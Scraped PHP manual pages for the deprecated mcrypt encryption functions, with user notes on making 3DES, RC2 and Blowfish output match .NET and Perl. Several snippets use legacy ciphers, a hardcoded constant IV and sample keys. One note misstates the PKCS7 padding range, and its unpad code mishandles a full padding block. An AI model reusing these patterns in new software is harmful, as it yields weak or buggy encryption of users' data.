This is a solution for the 3DES algorithm's problem in his interaction with .NET TripleDESCryptoServiceProvider (System.Security.Cryptography), CBC mode,  because the key is completed to 192bits and the text is padded.

So, we has two problems:
           - The key's completion  was posted by "jesse at pctest dot com".
           - The text padding also posted by him, but the completion is a little different. The padding bytes are 0x01 to 0x08 because completed to 8 bytes blocks. If your text have a whole number of 8 bytes blocks, the algorithm add other block with padded bytes (0x08).

This is a function to encrypt a text in a equal form that the Dot NET algorithm:

<?PHP
function encryptNET3DES($key, $vector, $text){
    $td = mcrypt_module_open (MCRYPT_3DES, '', MCRYPT_MODE_CBC, '');

    // Complete the key
    $key_add = 24-strlen($key);
    $key .= substr($key,0,$key_add);

    // Padding the text
    $text_add = strlen($text)%8;
    for($i=$text_add; $i<8; $i++){
        $text .= chr(8-$text_add);
    }

    mcrypt_generic_init ($td, $key, $vector);
    $encrypt64 = mcrypt_generic ($td, $text);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

     // Return the encrypt text in 64 bits code
    return $encrypt64;
}
?>
jesse at pctest dot com 07-Dec-2004 11:43
Solving 3DES incompatibilities with .NET's TripleDESCryptoServiceProvider

mcrypt's 3DES only accepts 192 bit keys, but Microsoft's .NET and many other tools accept both 128 and 192 bit keys.
If your key is too short, mcrypt will 'helpfully' pad null characters onto the end, but .NET refuses to use a key where the last third is all null (this is a Bad Key). This prevents you from emulating mcrypt's "short key" behaviour in .NET.

How to reconcile this? A little DES theory is in order
3DES runs the DES algorithm three times, using each third of your 192 bit key as the 64 bit DES key

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key3

and both .NET and PHP's mcrypt do this the same way.
The problem arises in short key mode on .NET, since 128 bits is only two 64 bit DES keys
The algorithm that they use then is:

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key1

mcrypt does not have this mode of operation natively.
but before you go and start running DES three times yourself, here's a Quick Fix
<?php
$my_key = "12345678abcdefgh"; // a 128 bit (16 byte) key
$my_key .= substr($my_key,0,8); // append the first 8 bytes onto the end
$secret = mcrypt_encrypt(MCRYPT_3DES, $my_key, $data, MCRYPT_MODE_CBC, $iv);  //CBC is the default mode in .NET
?>

And, like magic, it works.

There's one more caveat: Data padding
mcrypt always pads data will the null character
but .NET has two padding modes: "Zeros" and "PKCS7"
Zeros is identical to the mcrypt scheme, but PKCS7 is the default.
PKCS7 isn't much more complex, though:
instead of nulls, it appends the total number of padding bytes (which means, for 3DES, it can be a value from 0x01 to 0x07)
if your plaintext is "ABC", it will be padded into:
0x41 0x42 0x43 0x05 0x05 0x05 0x05 0x05

You can remove these from a decrypted string in PHP by counting the number of times that last character appears, and if it matches it's ordinal value, truncating the string by that many characters:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $packing = ord($text{strlen($text) - 1});
    if($packing and ($packing < $block)){
      for($P = strlen($text) - 1; $P >= strlen($text) - $packing; $P--){
    if(ord($text{$P}) != $packing){
      $packing = 0;
    }
      }
    }
    $text = substr($text,0,strlen($text) - $packing);
?>

And to pad a string that you intend to decrypt with .NET, just add the chr() value of the number of padding bytes:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $len = strlen($dat);
    $padding = $block - ($len % $block);
    $dat .= str_repeat(chr($padding),$padding);
?>

That's all there is to it.
Knowing this, you can encrypt, decrypt, and duplicate exactly any .NET 3DES behaviour in PHP.


This function deinitializes an encryption module

  • « mcrypt_encrypt
  • mcrypt_generic_end »
  • PHP Manual
  • Mcrypt Functions
  • This function deinitializes an encryption module

mcrypt_generic_deinit

(PHP 4 >= 4.0.7, PHP 5)

mcrypt_generic_deinit — This function deinitializes an encryption module

Description

bool mcrypt_generic_deinit ( resource $td )

This function terminates encryption specified by the encryption descriptor (td). It clears all buffers, but does not close the module. You need to call mcrypt_module_close() yourself. (But PHP does this for you at the end of the script.)

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mcrypt_module_open() - Opens the module of the algorithm and the mode to be used
  • mcrypt_generic_init() - This function initializes all buffers needed for encryption

User Contributed Notes

There are no user contributed notes for this page.


This function terminates encryption

  • « mcrypt_generic_deinit
  • mcrypt_generic_init »
  • PHP Manual
  • Mcrypt Functions
  • This function terminates encryption

mcrypt_generic_end

(PHP 4 >= 4.0.2, PHP 5 <= 5.1.6)

mcrypt_generic_end — This function terminates encryption

Description

bool mcrypt_generic_end ( resource $td )

Warning

This function is deprecated, use mcrypt_generic_deinit() instead. It can cause crashes when used with mcrypt_module_close() due to multiple buffer frees.

This function terminates encryption specified by the encryption descriptor (td). Actually it clears all buffers, and closes all the modules used. Returns FALSE on error, or TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


This function initializes all buffers needed for encryption

  • « mcrypt_generic_end
  • mcrypt_generic »
  • PHP Manual
  • Mcrypt Functions
  • This function initializes all buffers needed for encryption

mcrypt_generic_init

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_generic_init — This function initializes all buffers needed for encryption

Description

int mcrypt_generic_init ( resource $td , string $key , string $iv )

You need to call this function before every call to mcrypt_generic() or mdecrypt_generic().

Parameters

td

The encryption descriptor.

key

The maximum length of the key should be the one obtained by calling mcrypt_enc_get_key_size() and every value smaller than this is legal.

iv

The IV should normally have the size of the algorithms block size, but you must obtain the size by calling mcrypt_enc_get_iv_size(). IV is ignored in ECB. IV MUST exist in CFB, CBC, STREAM, nOFB and OFB modes. It needs to be random and unique (but not secret). The same IV must be used for encryption/decryption. If you do not want to use it you should set it to zeros, but this is not recommended.

Return Values

The function returns a negative value on error: -3 when the key length was incorrect, -4 when there was a memory allocation problem and any other return value is an unknown error. If an error occurs a warning will be displayed accordingly. FALSE is returned if incorrect parameters were passed.

See Also

  • mcrypt_module_open() - Opens the module of the algorithm and the mode to be used

User Contributed Notes

Anonymous 27-Feb-2013 03:33
The mcrypt implementation of RC2 algorithm supports an effective key length of 1024 bits only.
It is however possible to use an effective key length in 1..1024 bits, by transforming the key before use as follows:

<?php

function transformKey($key, $effKeyLen)

{
    $pitable = array(
        0xD9, 0x78, 0xF9, 0xC4, 0x19, 0xDD, 0xB5, 0xED, 0x28, 0xE9, 0xFD, 0x79, 0x4A, 0xA0, 0xD8, 0x9D,
        0xC6, 0x7E, 0x37, 0x83, 0x2B, 0x76, 0x53, 0x8E, 0x62, 0x4C, 0x64, 0x88, 0x44, 0x8B, 0xFB, 0xA2,
        0x17, 0x9A, 0x59, 0xF5, 0x87, 0xB3, 0x4F, 0x13, 0x61, 0x45, 0x6D, 0x8D, 0x09, 0x81, 0x7D, 0x32,
        0xBD, 0x8F, 0x40, 0xEB, 0x86, 0xB7, 0x7B, 0x0B, 0xF0, 0x95, 0x21, 0x22, 0x5C, 0x6B, 0x4E, 0x82,
        0x54, 0xD6, 0x65, 0x93, 0xCE, 0x60, 0xB2, 0x1C, 0x73, 0x56, 0xC0, 0x14, 0xA7, 0x8C, 0xF1, 0xDC,
        0x12, 0x75, 0xCA, 0x1F, 0x3B, 0xBE, 0xE4, 0xD1, 0x42, 0x3D, 0xD4, 0x30, 0xA3, 0x3C, 0xB6, 0x26,
        0x6F, 0xBF, 0x0E, 0xDA, 0x46, 0x69, 0x07, 0x57, 0x27, 0xF2, 0x1D, 0x9B, 0xBC, 0x94, 0x43, 0x03,
        0xF8, 0x11, 0xC7, 0xF6, 0x90, 0xEF, 0x3E, 0xE7, 0x06, 0xC3, 0xD5, 0x2F, 0xC8, 0x66, 0x1E, 0xD7,
        0x08, 0xE8, 0xEA, 0xDE, 0x80, 0x52, 0xEE, 0xF7, 0x84, 0xAA, 0x72, 0xAC, 0x35, 0x4D, 0x6A, 0x2A,
        0x96, 0x1A, 0xD2, 0x71, 0x5A, 0x15, 0x49, 0x74, 0x4B, 0x9F, 0xD0, 0x5E, 0x04, 0x18, 0xA4, 0xEC,
        0xC2, 0xE0, 0x41, 0x6E, 0x0F, 0x51, 0xCB, 0xCC, 0x24, 0x91, 0xAF, 0x50, 0xA1, 0xF4, 0x70, 0x39,
        0x99, 0x7C, 0x3A, 0x85, 0x23, 0xB8, 0xB4, 0x7A, 0xFC, 0x02, 0x36, 0x5B, 0x25, 0x55, 0x97, 0x31,
        0x2D, 0x5D, 0xFA, 0x98, 0xE3, 0x8A, 0x92, 0xAE, 0x05, 0xDF, 0x29, 0x10, 0x67, 0x6C, 0xBA, 0xC9,
        0xD3, 0x00, 0xE6, 0xCF, 0xE1, 0x9E, 0xA8, 0x2C, 0x63, 0x16, 0x01, 0x3F, 0x58, 0xE2, 0x89, 0xA9,
        0x0D, 0x38, 0x34, 0x1B, 0xAB, 0x33, 0xFF, 0xB0, 0xBB, 0x48, 0x0C, 0x5F, 0xB9, 0xB1, 0xCD, 0x2E,
        0xC5, 0xF3, 0xDB, 0x47, 0xE5, 0xA5, 0x9C, 0x77, 0x0A, 0xA6, 0x20, 0x68, 0xFE, 0x7F, 0xC1, 0xAD);
    $invpitable = array_flip($pitable);

    //    Apply the regular RC2 key expansion algorithm.
    $t = strlen($key);
    $key = array_values(unpack('C*C', $key));

    for ($i = $t; $i < 128; $i++)
        $key[$i] = $pitable[($key[$i - 1] + $key[$i - $t]) & 0xFF];

    $t8 = ($effKeyLen + 7) >> 3;
    $tm = 0xFF >> (8 * $t8 - $effKeyLen);
    $i = 128 - $t8;
    $key[$i] = $pitable[$key[$i] & $tm];

    while ($i--)
        $key[$i] = $pitable[$key[$i + 1] ^ $key[$i + $t8]];

    //    Map the first byte: this operation will be undone by
    //        mcrypt internals.
    $key[0] = $invpitable[$key[0]];

    //    Return the transformed key as a string.
    array_unshift($key, 'C*');
    return call_user_func_array('pack', $key);
}

//    Usage example
$r = mcrypt_module_open(MCRYPT_RC2, $algoDir, $mode, $modeDir);
mcrypt_generic_init($r, transformKey($originalKey, $effectiveKeyLength), $iv);

?>


This function encrypts data

  • « mcrypt_generic_init
  • mcrypt_get_block_size »
  • PHP Manual
  • Mcrypt Functions
  • This function encrypts data

mcrypt_generic

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_generic — This function encrypts data

Description

string mcrypt_generic ( resource $td , string $data )

This function encrypts data. The data is padded with "\0" to make sure the length of the data is n * blocksize. This function returns the encrypted data. Note that the length of the returned string can in fact be longer than the input, due to the padding of the data.

If you want to store the encrypted data in a database make sure to store the entire string as returned by mcrypt_generic, or the string will not entirely decrypt properly. If your original string is 10 characters long and the block size is 8 (use mcrypt_enc_get_block_size() to determine the blocksize), you would need at least 16 characters in your database field. Note the string returned by mdecrypt_generic() will be 16 characters as well...use rtrim($str, "\0") to remove the padding.

If you are for example storing the data in a MySQL database remember that varchar fields automatically have trailing spaces removed during insertion. As encrypted data can end in a space (ASCII 32), the data will be damaged by this removal. Store data in a tinyblob/tinytext (or larger) field instead.

Parameters

td

The encryption descriptor.

The encryption handle should always be initialized with mcrypt_generic_init() with a key and an IV before calling this function. Where the encryption is done, you should free the encryption buffers by calling mcrypt_generic_deinit(). See mcrypt_module_open() for an example.

data

The data to encrypt.

Return Values

Returns the encrypted data.

See Also

  • mdecrypt_generic() - Decrypts data
  • mcrypt_generic_init() - This function initializes all buffers needed for encryption
  • mcrypt_generic_deinit() - This function deinitializes an encryption module

User Contributed Notes

maxximus007 at gmail dot com 16-Aug-2007 05:21
Behaviour change: Since 5.2.x mcrypt_generic will issue a warning when the datastring is empty.
tmacedo at linux dot ime dot usp dot br 13-Nov-2006 06:22
completing  the post from Ryan Thomas, ryanrst at gmail dot com, if u post a cookie w/ HTTP method, its may be encoded;
As some chars in base64 will be encoded to another things, u can just replace them before encode and after decode;
Its a tweak from dawgeatschikin at hotmail dot com to original idea from massimo dot scamarcia at gmail dot com
(see @ http://www.php.net/manual/en/function.base64-encode.php):
<?php
function urlsafe_b64encode($string)
{
  $data = base64_encode($string);
  $data = str_replace(array('+','/','='),array('-','_','.'),$data);
  return $data;
}
function urlsafe_b64decode($string)
{
  $data = str_replace(array('-','_','.'),array('+','/','='),$string);
  $mod4 = strlen($data) % 4;
  if ($mod4) {
    $data .= substr('====', $mod4);
  }
  return base64_decode($data);
}
?>
chad 0x40 herballure 0x2e com 12-Jul-2006 05:28
Addendum to my previous note: apparently there was some sort of character encoding breakage; PHP does not pad if no padding is needed, and the extra padding I saw was the result of chr(X) returning multiple bytes or something.

The pad/unpad functions I gave are still binary-safe, though, and are to the best of my knowledge completely compatible with NIST 800-38a.
chad 0x40 herballure 0x2e com 12-Jul-2006 04:36
If the data is already n*blocksize long, PHP pads with another full block of "\0", so there will be between 1 and mcrypt_enc_get_block_size($td) bytes of padding.

You can create binary-safe padding by unconditionally adding a 0x80 to the string, then stripping trailing "\0"s PHP added, plus the one 0x80 byte.

<?php
function pad($text) {
  // Add a single 0x80 byte and let PHP pad with 0x00 bytes.
  return pack("a*H2", $text, "80");
}
function unpad($text) {
  // Return all but the trailing 0x80 from text that had the 0x00 bytes removed
  return substr(rtrim($text, "\0"), 0, -1);
}
?>
eric at ez-llc dot com 11-Mar-2006 09:55
I was able get php and perl to play together with blowfish using cipher block chaining.  The blowfish key needs to be atleast 8 chars (even though blowfish min is 8 bits, perl didn't like keys smaller than 8 chars) and max 56.  The iv must be exactly 8 chars and padding needs to be null because php pads with nulls.  Also, php needs libmcrypt >= 2.4.9 to be compatible with perl.

PERL
----

use Crypt::CBC;
$cipher = Crypt::CBC->new( {'key' => 'my secret key',
                                    'cipher'=> 'Blowfish',
                                    'iv' => '12345678',
                                    'regenerate_key' => 0,
                                    'padding' => 'null',
                                    'prepend_iv' => 0
                                    });
$cc = 'my secret text';
$encrypted = $cipher->encrypt($cc);
$decrypted = $cipher->decrypt($encrypted);

print "encrypted : ".$encrypted;
print "<br>";
print "decrypted : ".$decrypted;

PHP
---

$cc = 'my secret text';
$key = 'my secret key';
$iv = '12345678';

$cipher = mcrypt_module_open(MCRYPT_BLOWFISH,'','cbc','');

mcrypt_generic_init($cipher, $key, $iv);
$encrypted = mcrypt_generic($cipher,$cc);
mcrypt_generic_deinit($cipher);

mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,$encrypted);
mcrypt_generic_deinit($cipher);

echo "encrypted : ".$encrypted;
echo "<br>";
echo "decrypted : ".$decrypted;
Ryan Thomas, ryanrst at gmail dot com 05-Jan-2006 11:15
If you wish to store encrypted data in a cookie variable on the browser you will encounter problems when decrypting the data. This is because cookies will only store US-ASCII characters and your encrypted data may contain non-US-ASCII characters.

The solution:

base64_encode your encrypted string before you store it in the cookie and base64_decode the string stored in the cookie becore decrypting.

Example:

function setEncryptedCookie($cookieName, $data)
{
  setcookie($cookieName, base64_encode($this->encrypt($data)), time()+$this->expire);
}

function getEncryptedCookie($cookieName)
{
  return $this->decrypt(base64_decode($_COOKIE[$cookieName]));
}
pauls at sellingsource dot com 15-May-2003 08:02
If you are encrypting binary and there is a null terminator partway through your encryption, you will loose the rest of the string.  A workaround is to base64_encode your binary string first.

We found this problem while trying to encrypt CC information.  Some CC values would not decrypt after we converted them to a binary string.

We were using the MCRYPT_RIJNDAEL_256 module to encrypt with.

Hope this helps someone.


Gets the block size of the specified cipher

  • « mcrypt_generic
  • mcrypt_get_cipher_name »
  • PHP Manual
  • Mcrypt Functions
  • Gets the block size of the specified cipher

mcrypt_get_block_size

(PHP 4, PHP 5)

mcrypt_get_block_size — Gets the block size of the specified cipher

Description

int mcrypt_get_block_size ( int $cipher )
int mcrypt_get_block_size ( string $cipher , string $mode )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or 2.5.x.

mcrypt_get_block_size() is used to get the size of a block of the specified cipher (in combination with an encryption mode).

It is more useful to use the mcrypt_enc_get_block_size() function as this uses the resource returned by mcrypt_module_open().

Parameters

cipher

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

Return Values

Gets the block size, as an integer.

Examples

Example #1 mcrypt_get_block_size() example

This example shows how to use this function when linked against libmcrypt 2.4.x and 2.5.x.

<?php

echo mcrypt_get_block_size('tripledes', 'ecb'); // 8

?>

See Also

  • mcrypt_get_key_size() - Gets the key size of the specified cipher
  • mcrypt_enc_get_block_size() - Returns the blocksize of the opened algorithm
  • mcrypt_encrypt() - Encrypts plaintext with given parameters

User Contributed Notes

There are no user contributed notes for this page.


Gets the name of the specified cipher

  • « mcrypt_get_block_size
  • mcrypt_get_iv_size »
  • PHP Manual
  • Mcrypt Functions
  • Gets the name of the specified cipher

mcrypt_get_cipher_name

(PHP 4, PHP 5)

mcrypt_get_cipher_name — Gets the name of the specified cipher

Description

string mcrypt_get_cipher_name ( int $cipher )
string mcrypt_get_cipher_name ( string $cipher )

mcrypt_get_cipher_name() is used to get the name of the specified cipher.

mcrypt_get_cipher_name() takes the cipher number as an argument (libmcrypt 2.2.x) or takes the cipher name as an argument (libmcrypt 2.4.x or higher) and returns the name of the cipher or FALSE, if the cipher does not exist.

Parameters

cipher

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

Return Values

This function returns the name of the cipher or FALSE if the cipher does not exist.

Examples

Example #1 mcrypt_get_cipher_name() Example

<?php
   $cipher = MCRYPT_TripleDES;

   echo mcrypt_get_cipher_name($cipher);
?>

The above example will output:

3DES

User Contributed Notes

There are no user contributed notes for this page.


Returns the size of the IV belonging to a specific cipher/mode combination

  • « mcrypt_get_cipher_name
  • mcrypt_get_key_size »
  • PHP Manual
  • Mcrypt Functions
  • Returns the size of the IV belonging to a specific cipher/mode combination

mcrypt_get_iv_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_get_iv_size — Returns the size of the IV belonging to a specific cipher/mode combination

Description

int mcrypt_get_iv_size ( string $cipher , string $mode )

Gets the size of the IV belonging to a specific cipher/mode combination.

It is more useful to use the mcrypt_enc_get_iv_size() function as this uses the resource returned by mcrypt_module_open().

Parameters

cipher

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

The IV is ignored in ECB mode as this mode does not require it. You will need to have the same IV (think: starting point) both at encryption and decryption stages, otherwise your encryption will fail.

Return Values

Returns the size of the Initialization Vector (IV) in bytes. On error the function returns FALSE. If the IV is ignored in the specified cipher/mode combination zero is returned.

Examples

Example #1 mcrypt_get_iv_size() Example

<?php
    echo mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB) . "\n";

    echo mcrypt_get_iv_size('des', 'ecb') . "\n";
?>

See Also

  • mcrypt_get_block_size() - Gets the block size of the specified cipher
  • mcrypt_enc_get_iv_size() - Returns the size of the IV of the opened algorithm
  • mcrypt_create_iv() - Creates an initialization vector (IV) from a random source

User Contributed Notes

There are no user contributed notes for this page.


Gets the key size of the specified cipher

  • « mcrypt_get_iv_size
  • mcrypt_list_algorithms »
  • PHP Manual
  • Mcrypt Functions
  • Gets the key size of the specified cipher

mcrypt_get_key_size

(PHP 4, PHP 5)

mcrypt_get_key_size — Gets the key size of the specified cipher

Description

int mcrypt_get_key_size ( int $cipher )
int mcrypt_get_key_size ( string $cipher , string $mode )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or 2.5.x.

mcrypt_get_key_size() is used to get the size of a key of the specified cipher (in combination with an encryption mode).

It is more useful to use the mcrypt_enc_get_key_size() function as this uses the resource returned by mcrypt_module_open().

Parameters

cipher

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

Return Values

Returns the maximum supported key size of the algorithm in bytes or FALSE on failure.

Examples

Example #1 mcrypt_get_key_size() Example

<?php
    echo mcrypt_get_key_size('tripledes', 'ecb');
?>

The example above shows how to use this function when linked against libmcrypt 2.4.x or 2.5.x.

The above example will output:

24

See Also

  • mcrypt_get_block_size() - Gets the block size of the specified cipher
  • mcrypt_enc_get_key_size() - Returns the maximum supported keysize of the opened mode
  • mcrypt_encrypt() - Encrypts plaintext with given parameters

User Contributed Notes

Robin 09-Mar-2010 01:43
While not specified in the description, this function, just like mcrypt_enc_get_key_size(), returns the cipher's largest key size in BYTES.


Gets an array of all supported ciphers

  • « mcrypt_get_key_size
  • mcrypt_list_modes »
  • PHP Manual
  • Mcrypt Functions
  • Gets an array of all supported ciphers

mcrypt_list_algorithms

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_list_algorithms — Gets an array of all supported ciphers

Description

array mcrypt_list_algorithms ([ string $lib_dir = ini_get("mcrypt.algorithms_dir") ] )

Gets the list of all supported algorithms in the lib_dir parameter.

Parameters

lib_dir

Specifies the directory where all algorithms are located. If not specified, the value of the mcrypt.algorithms_dir php.ini directive is used.

Return Values

Returns an array with all the supported algorithms.

Examples

Example #1 mcrypt_list_algorithms() Example

<?php
    $algorithms = mcrypt_list_algorithms("/usr/local/lib/libmcrypt");

    foreach ($algorithms as $cipher) {
        echo "$cipher<br />\n";
    }
?>

The example above will produce a list with all supported algorithms in the "/usr/local/lib/libmcrypt" directory.

User Contributed Notes

There are no user contributed notes for this page.


Gets an array of all supported modes

  • « mcrypt_list_algorithms
  • mcrypt_module_close »
  • PHP Manual
  • Mcrypt Functions
  • Gets an array of all supported modes

mcrypt_list_modes

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_list_modes — Gets an array of all supported modes

Description

array mcrypt_list_modes ([ string $lib_dir = ini_get("mcrypt.modes_dir") ] )

Gets the list of all supported modes in the lib_dir parameter.

Parameters

lib_dir

Specifies the directory where all modes are located. If not specified, the value of the mcrypt.modes_dir php.ini directive is used.

Return Values

Returns an array with all the supported modes.

Examples

Example #1 mcrypt_list_modes() Example

<?php
    $modes = mcrypt_list_modes();

    foreach ($modes as $mode) {
        echo "$mode <br />\n";
    }
?>

The example above will produce a list with all supported algorithms in the default mode directory. If it is not set with the mcrypt.modes_dir php.ini directive, the default directory of mcrypt is used (which is /usr/local/lib/libmcrypt).

User Contributed Notes

There are no user contributed notes for this page.


Closes the mcrypt module

  • « mcrypt_list_modes
  • mcrypt_module_get_algo_block_size »
  • PHP Manual
  • Mcrypt Functions
  • Closes the mcrypt module

mcrypt_module_close

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_close — Closes the mcrypt module

Description

bool mcrypt_module_close ( resource $td )

Closes the specified encryption handle.

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mcrypt_module_open() - Opens the module of the algorithm and the mode to be used

User Contributed Notes

There are no user contributed notes for this page.


Returns the blocksize of the specified algorithm

  • « mcrypt_module_close
  • mcrypt_module_get_algo_key_size »
  • PHP Manual
  • Mcrypt Functions
  • Returns the blocksize of the specified algorithm

mcrypt_module_get_algo_block_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_get_algo_block_size — Returns the blocksize of the specified algorithm

Description

int mcrypt_module_get_algo_block_size ( string $algorithm [, string $lib_dir ] )

Gets the blocksize of the specified algorithm.

Parameters

algorithm

The algorithm name.

lib_dir

This optional parameter can contain the location where the mode module is on the system.

Return Values

Returns the block size of the algorithm specified in bytes.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum supported keysize of the opened mode

  • « mcrypt_module_get_algo_block_size
  • mcrypt_module_get_supported_key_sizes »
  • PHP Manual
  • Mcrypt Functions
  • Returns the maximum supported keysize of the opened mode

mcrypt_module_get_algo_key_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_get_algo_key_size — Returns the maximum supported keysize of the opened mode

Description

int mcrypt_module_get_algo_key_size ( string $algorithm [, string $lib_dir ] )

Gets the maximum supported keysize of the opened mode.

Parameters

algorithm

The algorithm name.

lib_dir

This optional parameter can contain the location where the mode module is on the system.

Return Values

This function returns the maximum supported key size of the algorithm specified in bytes.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array with the supported keysizes of the opened algorithm

  • « mcrypt_module_get_algo_key_size
  • mcrypt_module_is_block_algorithm_mode »
  • PHP Manual
  • Mcrypt Functions
  • Returns an array with the supported keysizes of the opened algorithm

mcrypt_module_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm

Description

array mcrypt_module_get_supported_key_sizes ( string $algorithm [, string $lib_dir ] )

Returns an array with the key sizes supported by the specified algorithm. If it returns an empty array then all key sizes between 1 and mcrypt_module_get_algo_key_size() are supported by the algorithm.

Parameters

algorithm

The algorithm to be used.

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

Returns an array with the key sizes supported by the specified algorithm. If it returns an empty array then all key sizes between 1 and mcrypt_module_get_algo_key_size() are supported by the algorithm.

See Also

  • mcrypt_enc_get_supported_key_sizes() - Returns an array with the supported keysizes of the opened algorithm

User Contributed Notes

Daniel Bartlett <dan at lockedbox dot net> 12-Feb-2004 07:50
A small bit of php for listing available encryption algorythms and their keysizes.

<?php
$cipher_dir = "/usr/local/lib/libmcrypt";
$algorithms = mcrypt_list_algorithms($cipher_dir);
echo "<html><head></head><body><table><tr>\n";
foreach ($algorithms as $cipher) {
        echo "<td>" . $cipher . "</td><td>";
        $ksizes = mcrypt_module_get_supported_key_sizes($cipher, $cipher_dir);
        if($ksizes==NULL) echo mcrypt_module_get_algo_key_size($cipher, $cipher_dir);
        else foreach ($ksizes as $size) {
                echo $size . " ";
        }
        echo "</td></tr>\n";
}
echo "</table></body></html>\n";
?>

I hope some one finds it handy.


Returns if the specified module is a block algorithm or not

  • « mcrypt_module_get_supported_key_sizes
  • mcrypt_module_is_block_algorithm »
  • PHP Manual
  • Mcrypt Functions
  • Returns if the specified module is a block algorithm or not

mcrypt_module_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_is_block_algorithm_mode — Returns if the specified module is a block algorithm or not

Description

bool mcrypt_module_is_block_algorithm_mode ( string $mode [, string $lib_dir ] )

This function returns TRUE if the mode is for use with block algorithms, otherwise it returns FALSE. (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb).

Parameters

mode

The mode to check.

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

This function returns TRUE if the mode is for use with block algorithms, otherwise it returns FALSE. (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb).

User Contributed Notes

There are no user contributed notes for this page.


This function checks whether the specified algorithm is a block algorithm

  • « mcrypt_module_is_block_algorithm_mode
  • mcrypt_module_is_block_mode »
  • PHP Manual
  • Mcrypt Functions
  • This function checks whether the specified algorithm is a block algorithm

mcrypt_module_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_is_block_algorithm — This function checks whether the specified algorithm is a block algorithm

Description

bool mcrypt_module_is_block_algorithm ( string $algorithm [, string $lib_dir ] )

This function returns TRUE if the specified algorithm is a block algorithm, or FALSE if it is a stream one.

Parameters

algorithm

The algorithm to check.

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

This function returns TRUE if the specified algorithm is a block algorithm, or FALSE if it is a stream one.

User Contributed Notes

There are no user contributed notes for this page.


Returns if the specified mode outputs blocks or not

  • « mcrypt_module_is_block_algorithm
  • mcrypt_module_open »
  • PHP Manual
  • Mcrypt Functions
  • Returns if the specified mode outputs blocks or not

mcrypt_module_is_block_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_is_block_mode — Returns if the specified mode outputs blocks or not

Description

bool mcrypt_module_is_block_mode ( string $mode [, string $lib_dir ] )

This function returns TRUE if the mode outputs blocks of bytes or FALSE if it outputs just bytes. (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream).

Parameters

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

This function returns TRUE if the mode outputs blocks of bytes or FALSE if it outputs just bytes. (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream).

User Contributed Notes

There are no user contributed notes for this page.


Opens the module of the algorithm and the mode to be used

  • « mcrypt_module_is_block_mode
  • mcrypt_module_self_test »
  • PHP Manual
  • Mcrypt Functions
  • Opens the module of the algorithm and the mode to be used

mcrypt_module_open

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_open — Opens the module of the algorithm and the mode to be used

Description

resource mcrypt_module_open ( string $algorithm , string $algorithm_directory , string $mode , string $mode_directory )

This function opens the module of the algorithm and the mode to be used. The name of the algorithm is specified in algorithm, e.g. "twofish" or is one of the MCRYPT_ciphername constants. The module is closed by calling mcrypt_module_close().

Parameters

algorithm

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

algorithm_directory

The algorithm_directory parameter is used to locate the encryption module. When you supply a directory name, it is used. When you set it to an empty string (""), the value set by the mcrypt.algorithms_dir php.ini directive is used. When it is not set, the default directory that is used is the one that was compiled into libmcrypt (usually /usr/local/lib/libmcrypt).

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

mode_directory

The mode_directory parameter is used to locate the encryption module. When you supply a directory name, it is used. When you set it to an empty string (""), the value set by the mcrypt.modes_dir php.ini directive is used. When it is not set, the default directory that is used is the one that was compiled-in into libmcrypt (usually /usr/local/lib/libmcrypt).

Return Values

Normally it returns an encryption descriptor, or FALSE on error.

Examples

Example #1 mcrypt_module_open() Examples

<?php
    $td = mcrypt_module_open(MCRYPT_DES, '',
        MCRYPT_MODE_ECB, '/usr/lib/mcrypt-modes');

    $td = mcrypt_module_open('rijndael-256', '', 'ofb', '');
?>

